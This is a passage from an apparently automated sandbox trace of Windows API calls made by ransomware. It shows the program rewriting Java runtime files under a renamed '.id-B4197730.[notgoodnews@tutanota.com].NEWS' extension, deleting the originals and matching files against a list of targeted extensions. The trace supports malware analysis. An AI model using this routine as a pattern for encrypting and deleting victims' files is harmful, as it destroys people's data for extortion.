(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0092.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.417] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.417] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.417] GetLastError () returned 0x0 [0092.417] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x17a40, lpOverlapped=0x0) returned 1 [0092.420] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x17a50, lpOverlapped=0x0) returned 1 [0092.422] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.422] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0092.422] SetEndOfFile (hFile=0x2f4) returned 1 [0092.422] CloseHandle (hObject=0x2f4) returned 1 [0092.422] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.422] SetEndOfFile (hFile=0x378) returned 1 [0092.424] CloseHandle (hObject=0x378) returned 1 [0092.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.424] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1 [0092.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.424] lstrlenW (lpString=".doc") returned 4 [0092.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.424] lstrlenW (lpString=".docx") returned 5 [0092.424] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.424] lstrlenW (lpString=".pdf") returned 4 [0092.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.424] lstrlenW (lpString=".xls") returned 4 [0092.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.424] lstrlenW (lpString=".xlsx") returned 5 [0092.425] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.425] lstrlenW (lpString=".ppt") returned 4 [0092.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.425] lstrlenW (lpString=".zip") returned 4 [0092.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString=".rar") returned 4 [0092.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString=".bz2") returned 4 [0092.425] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.425] lstrlenW (lpString=".7z") returned 3 [0092.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.425] lstrlenW (lpString=".dbf") returned 4 [0092.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.425] lstrlenW (lpString=".1cd") returned 4 [0092.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.425] lstrlenW (lpString=".jpg") returned 4 [0092.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.425] lstrlenW (lpString=".doc") returned 4 [0092.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString=".docx") returned 5 [0092.425] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.425] lstrlenW (lpString=".pdf") returned 4 [0092.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString=".xls") returned 4 [0092.425] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString=".xlsx") returned 5 [0092.425] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.425] lstrlenW (lpString=".ppt") returned 4 [0092.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.426] lstrlenW (lpString=".zip") returned 4 [0092.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.426] lstrlenW (lpString=".rar") returned 4 [0092.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.426] lstrlenW (lpString=".bz2") returned 4 [0092.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.426] lstrlenW (lpString=".7z") returned 3 [0092.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.426] lstrlenW (lpString=".dbf") returned 4 [0092.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.426] lstrlenW (lpString=".1cd") returned 4 [0092.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0092.426] lstrlenW (lpString=".jpg") returned 4 [0092.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.426] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.426] lstrlenW (lpString="npt.dll") returned 7 [0092.426] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.426] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=19008) returned 1 [0092.427] CloseHandle (hObject=0x378) returned 1 [0092.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0092.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.427] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.427] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.427] GetLastError () returned 0x0 [0092.427] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4a40, lpOverlapped=0x0) returned 1 [0092.429] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4a50, lpOverlapped=0x0) returned 1 [0092.430] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.430] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0092.430] SetEndOfFile (hFile=0x2f4) returned 1 [0092.430] CloseHandle (hObject=0x2f4) returned 1 [0092.430] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.430] SetEndOfFile (hFile=0x378) returned 1 [0092.431] CloseHandle (hObject=0x378) returned 1 [0092.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.432] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1 [0092.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.437] lstrlenW (lpString=".doc") returned 4 [0092.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.437] lstrlenW (lpString=".docx") returned 5 [0092.437] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.437] lstrlenW (lpString=".pdf") returned 4 [0092.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.437] lstrlenW (lpString=".xls") returned 4 [0092.437] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.437] lstrlenW (lpString=".xlsx") returned 5 [0092.437] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.437] lstrlenW (lpString=".ppt") returned 4 [0092.437] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.437] lstrlenW (lpString=".zip") returned 4 [0092.437] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.437] lstrlenW (lpString=".rar") returned 4 [0092.437] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.437] lstrlenW (lpString=".bz2") returned 4 [0092.437] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.437] lstrlenW (lpString=".7z") returned 3 [0092.437] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.437] lstrlenW (lpString=".dbf") returned 4 [0092.437] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.437] lstrlenW (lpString=".1cd") returned 4 [0092.437] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.437] lstrlenW (lpString=".jpg") returned 4 [0092.437] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.438] lstrlenW (lpString=".doc") returned 4 [0092.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.438] lstrlenW (lpString=".docx") returned 5 [0092.438] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0092.438] lstrlenW (lpString=".pdf") returned 4 [0092.438] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.438] lstrlenW (lpString=".xls") returned 4 [0092.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.438] lstrlenW (lpString=".xlsx") returned 5 [0092.438] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0092.438] lstrlenW (lpString=".ppt") returned 4 [0092.438] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.438] lstrlenW (lpString=".zip") returned 4 [0092.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.438] lstrlenW (lpString=".rar") returned 4 [0092.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.438] lstrlenW (lpString=".bz2") returned 4 [0092.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.438] lstrlenW (lpString=".7z") returned 3 [0092.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.438] lstrlenW (lpString=".dbf") returned 4 [0092.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.438] lstrlenW (lpString=".1cd") returned 4 [0092.438] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll") returned 46 [0092.438] lstrlenW (lpString=".jpg") returned 4 [0092.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.438] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0092.439] lstrlenW (lpString="orbd.exe") returned 8 [0092.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.439] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=16448) returned 1 [0092.439] CloseHandle (hObject=0x378) returned 1 [0092.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0092.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.439] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.439] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.440] GetLastError () returned 0x0 [0092.440] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4040, lpOverlapped=0x0) returned 1 [0092.443] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4050, lpOverlapped=0x0) returned 1 [0092.444] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.444] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0092.444] SetEndOfFile (hFile=0x2f4) returned 1 [0092.445] CloseHandle (hObject=0x2f4) returned 1 [0092.445] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.445] SetEndOfFile (hFile=0x378) returned 1 [0092.446] CloseHandle (hObject=0x378) returned 1 [0092.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.446] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1 [0092.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.446] lstrlenW (lpString=".doc") returned 4 [0092.446] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.446] lstrlenW (lpString=".docx") returned 5 [0092.446] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0092.446] lstrlenW (lpString=".pdf") returned 4 [0092.446] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.446] lstrlenW (lpString=".xls") returned 4 [0092.446] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.446] lstrlenW (lpString=".xlsx") returned 5 [0092.446] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0092.446] lstrlenW (lpString=".ppt") returned 4 [0092.446] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.446] lstrlenW (lpString=".zip") returned 4 [0092.446] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.446] lstrlenW (lpString=".rar") returned 4 [0092.447] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.447] lstrlenW (lpString=".bz2") returned 4 [0092.447] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.447] lstrlenW (lpString=".7z") returned 3 [0092.447] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.447] lstrlenW (lpString=".dbf") returned 4 [0092.447] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.447] lstrlenW (lpString=".1cd") returned 4 [0092.447] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.447] lstrlenW (lpString=".jpg") returned 4 [0092.447] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.447] lstrlenW (lpString=".doc") returned 4 [0092.447] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.447] lstrlenW (lpString=".docx") returned 5 [0092.447] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0092.447] lstrlenW (lpString=".pdf") returned 4 [0092.447] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.447] lstrlenW (lpString=".xls") returned 4 [0092.447] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.447] lstrlenW (lpString=".xlsx") returned 5 [0092.447] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0092.447] lstrlenW (lpString=".ppt") returned 4 [0092.447] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.447] lstrlenW (lpString=".zip") returned 4 [0092.447] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.447] lstrlenW (lpString=".rar") returned 4 [0092.447] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.447] lstrlenW (lpString=".bz2") returned 4 [0092.448] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.448] lstrlenW (lpString=".7z") returned 3 [0092.448] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.448] lstrlenW (lpString=".dbf") returned 4 [0092.448] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.448] lstrlenW (lpString=".1cd") returned 4 [0092.448] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe") returned 47 [0092.448] lstrlenW (lpString=".jpg") returned 4 [0092.448] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.448] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0092.448] lstrlenW (lpString="pack200.exe") returned 11 [0092.448] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.448] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=16448) returned 1 [0092.448] CloseHandle (hObject=0x378) returned 1 [0092.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0092.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.449] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.449] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.449] GetLastError () returned 0x0 [0092.449] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4040, lpOverlapped=0x0) returned 1 [0092.452] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4050, 